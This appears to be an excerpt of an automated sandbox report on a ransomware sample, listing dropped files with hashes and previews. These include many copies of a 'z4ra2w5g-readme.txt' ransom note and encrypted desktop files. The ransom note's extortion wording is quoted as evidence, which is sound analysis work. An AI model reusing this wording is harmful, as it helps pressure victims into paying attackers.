..."\....+...........V.......\..S=.....g.:&.=...J.*8.G.U.<Q.+...f....u..".4.6G....k......R^.m.{...]5.D&|."eE.MP...&J6.2Ik.....5..v-;.....1._..O.z..".J.!...."...Z.|Yl.[.j.c.;.........up8.,.....m.M.7...R..A...r5.....ph...C..5......X.{5k......_...xVN.~^........m.7+.M......N..3n.y.g..K..zj..Hp.6.......:0RD...p.\....D.I...[..x.`.Net.%.....b...(......Q.N....j..~4M5g.*..$......y.+O..O...U...p.cP.b'=Z...........4.|#.t..+.?@....*W..e..i....I..\.o*.a..9...j....z..;B...4...S...v.|wFd..y$.[.r9<o..U..v?,..Q....$Fc$..K._.....:.e....2.J..?I...^..k@{..AT.I#.o.......|....)*.U...:.f=.}A]R;.i..>.x....u4.....N.:..+.Rs..G`...2u.!(..
                        C:\Users\Public\Libraries\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Public\Music\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Public\Pictures\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Public\Videos\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Public\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\3D Objects\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Contacts\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\AKJIMDEQMB\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\ATJBEMHSSB.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.858633400253478
                        Encrypted:false
                        SSDEEP:24:oQtt5u9ZJyRddIQpL3aLvQ2BKWt4NDP586rdS7q9uVwUuutrdo+iPn:3492UawvBKO4lm6ZSm9uV5E
                        MD5:23120BE97892557DACF0C21259C7AA34
                        SHA1:303134304838ADAD135918263AFBB2108D631179
                        SHA-256:EADEE6430DA2DC7989EE585BF149E3FBE5758AF81A62B61D97CCF8B222B800CB
                        SHA-512:AEE9AA0B2BF0EE0971AF7C0A2EAF23566F46AE7CB1071DD0C152C5348BCD8B582939ED5609A35EE42933A9F52767841C99D4BDE32D8387A08AF9D2AFEA3DD80A
                        Malicious:false
                        Preview: N..[_.....Sm..K...'>......m....D......>....%H....w....u...G..=........^.x).5(..n.^.q.......3.#%.Qq........O......o..%...!V..vVCc.>...g.h.....=^....y.pX.[.OJ..l....dW.....c..6Xjo..w5.@.../..+......D...|.9... ...M>*`...v.],.0z.L~$.|.{.4cs.F.<~b*...._L.X..z%..>..UJ.1...I6...tDj....T}.&j.2!j.B...."....'`3.._.>^v`.Q8*....~aT.= #.\..A...<so.z......M;.J..(....K..#G...BCJ...H...;9.sv<.6"_.j.;ZT.i...;i)..g...Tu:......n......+....{S.....S8.8t.....o>M])..2q.~...1.....T..}L......Y......$...b.y..x.:....'P...Jh&{../pGj`...EZP..^...s...... ...0..\z;=..Hn[...vS..H .5z....&.bO=.}O}.......L....t.x.4..A...K..G.d..S...C).....f=.....'"#..b..QD..I?6...j...~....C#...5...'WP...g.X.JH.7A..........)M{Ne.c....F;......S.{.].TQ...5b.....W..0D..GN.k..m..9.......m.%...{.]...Dl{......56#..Q.PO1...#.&...~}23[.X..}...MZ.V.y..-i.5.~:).EX....E..3CLj..O.f.4.G.2....u3....^.m...&...j..o.. [..`>.X.`w......s...}.A0.*;9ah..%..$...s.p.E...g.......)....t.qs8sN...B'X..
                        C:\Users\user\Desktop\ATJBEMHSSB\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\BUFZSQPCOH.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.839763269040904
                        Encrypted:false
                        SSDEEP:24:xlrST0PI9GfbVzbowo8/1p4oIMHnMNWbN3elcurN47jVAOmrVAvGqCBMDBvtuutr:RA9YzRNCoAWwlcu54nVArAvGVBMhbL
                        MD5:8DBA82BFABBC61E73BC48F5352C36D7B
                        SHA1:2D1451BD734861B9F2E283A9C049508120534D45
                        SHA-256:B3970E791BC62989D7342159E29596F19D3EE7F2EAB95F05807F8BE10729EBEE
                        SHA-512:C20D22416E9B0916B24A9381EB22F0B97BB61F6EC48432B6E4F2603F4C3D6441DAE9301AB20188D98842EEDC9C5D3BD37892507BDFD9ED18031A1D61CB270F3A
                        Malicious:false
                        Preview: ~..+.-.b..nU.Y..9.1..,.5gW.=..2"&...n.Z.....F^..W..~}!.l.!.=..V..)R.*D...Y...w...v.}R[..78.%...&e.S..}...V.YX.TWF.|..|.n.YQ...V...]..B..J...K@.7^.{.Z...t).X..,..u.X..4......)C/.0.z...+.p......W....S..n9wV.L.....a.\.8-..{I..8.a.m.+g\.:......].H..G`.....u.nB.?...D..#{c...M!......D.......gZ.Z&..V"!.8.+...o.............<.....o.C......L.nz/.~...^.`H...d...E.&N.S@...Yb8..O.j...:K..).Z...Q.Z..P.q......7...5..c...-.(.x..4.R..po....\......bJ.'..Q.~......[3<8...-....'.:........:A..x..Dj..<s.s.e..rJ......R..U..|.Q#...F....v-..V.C.x.fk.....~...%.;>.2.r./.B-3..n...Bh.....<.g.....HO)L$.......+.U..$......eA. .yR$.N...6......../.v\.^.....O.QiJ.....i.u.....M.<?G."x...}......,.U.d.Ck.]m....F...K.*..J....^W.x3w5#3.S..U.>..,..%.S.2.L...-.Sv.f...;..0...j.@.}|.......*_.`i.P7.ls.9.......xj..../.J~.1...7U".U...LV...A{...[.....>.......&....D..i-Dl?'.H.......'@.../.}Dh'..*...i..v..m.BXD./...............U.r...'.....V..G..3..X...9f"?...o.......vM.qwL
                        C:\Users\user\Desktop\BUFZSQPCOH.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.852685188384449
                        Encrypted:false
                        SSDEEP:24:SA6smki4Kf5H/OlWrSuySiENb420UlcTjn7MhUEsnrBlL+4Ko9xuutrJW:D6smJ4afT9iENb420Ulo6iBOoNJW
                        MD5:C6E39D16B07B564A5E519289C7698527
                        SHA1:FCE41534B206A04F111518B4BECDF529A5E4C302
                        SHA-256:C36132E75FB2B4D79D439951953C7888E377D9DBA1E47D764E21ED3CC7C11267
                        SHA-512:B307D8EE964ABAF89BFDD2DF8DC32A5F37566A7C9130D4DFC4E622EFE13011A675AE67E5C413D298ABB008D38F5792BD95B53B8D65B4F10A5D4B5438CF24D78B
                        Malicious:false
                        Preview: .#.&m...m.|I.R..T..cNf..Y|H.........G\....D^.2..F.9..M..8MY..F..}E.9.D.....H......7...5U}.#A:...`."dy:o>-^F.A>o.....KA_.j.M....u..J.K.r.+=.*.V.........,.4.T.......|..iU1!....er.G.v....x2.@=7AV.......:._{.wN....`Gr..a.8...Q...'A.B.............&#k.....n..n(..F..E6{p...\.Q.n.d.i.F..?.*.+...V7^:..B..".....v..[.\..xu.2.YR..:P..].h..oBD...;.....!.....h>._.N.X2.\..7r.......Zn......T..9k.@.!...3{..z|/g(._...|^.._.3<.pX.QJ.;..3.3...`.{.^SV....F..Dz\S......8..@6.4.....Y..6{....~.)q8.m.....>3.B...G.<..9R:.-.......I8fv..14..w'..C;....=.)....?.s@......CFi..K......9B..`..2N...~k.(....h0.+...-t.E.lRr0h...'@O...\.gV=n$.s..Y{.....)..0.+=a..b.B.........E.{..4.........-I...w..J.|K$.h..E..(...R..;..jXvw..8<.F......X}..A.8..z.F.I..."R./.